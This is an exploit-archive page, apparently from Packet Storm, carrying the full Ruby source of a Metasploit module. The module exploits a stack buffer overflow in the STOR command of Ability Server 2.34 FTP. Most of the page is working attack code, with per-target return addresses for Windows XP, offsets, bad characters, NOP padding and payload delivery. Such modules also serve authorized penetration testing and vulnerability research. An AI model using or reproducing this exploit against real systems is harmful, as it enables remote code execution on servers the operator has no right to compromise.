exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Ability Server 2.34 STOR Command Stack Buffer Overflow

Ability Server 2.34 STOR Command Stack Buffer Overflow
Posted Dec 7, 2011
Authored by muts, Dark Eagle, Peter Osterberg | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in Ability Server 2.34. Ability Server fails to check input size when parsing STOR and APPE commands, which leads to a stack based buffer overflow. This plugin uses the STOR command. The vulnerability has been confirmed on version 2.34 and has also been reported in version 2.25 and 2.32. Other versions may also be affected.

tags | exploit, overflow
SHA-256 | 2f42268540b9e7a1b27be7be2665ffceb81143ab10130f7b317339dcd4c523c5

Ability Server 2.34 STOR Command Stack Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Ability Server 2.34.
Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.

The vulnerability has been confirmed on version 2.34 and has also been reported
in version 2.25 and 2.32. Other versions may also be affected.
},
'Author' =>
[
'muts', #Initial discovery
'Dark Eagle', #same as muts
'Ekelow' #Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', '2004-1626' ],
[ 'URL', 'http://www.exploit-db.com/exploits/588/'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\xff"
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP2 ENG',
{
#JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)
'Ret' => 0x73E32ECF,
'Offset' => 966
}
],
[
'Windows XP SP3 ENG',
{
#JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully pathced)
'Ret' => 0x7E429353,
'Offset' => 966
}
],
],
'DisclosureDate' => 'Oct 22 2004',
'DefaultTarget' => 1))

register_options(
[
Opt::RPORT(21),
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
], self.class)
end

def check
connect
disconnect
if banner =~ /Ability Server 2\.34/
return Exploit::CheckCode::Vulnerable
else
if banner =~ /Ability Server/
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
end

def exploit
connect_login

myHost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']

# Take client ip + ftp user lengths into account for EIP offset
padd_size = target['Offset'] + (13 - myHost.length) + (3 - datastore['FTPUSER'].length)
junk = rand_text_alpha(padd_size)

sploit = junk
sploit << [target.ret].pack('V')
sploit << make_nops(32)
sploit << payload.encoded
sploit << rand_text_alpha(sploit.length)

send_cmd(['STOR', sploit], false)
handler
disconnect
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close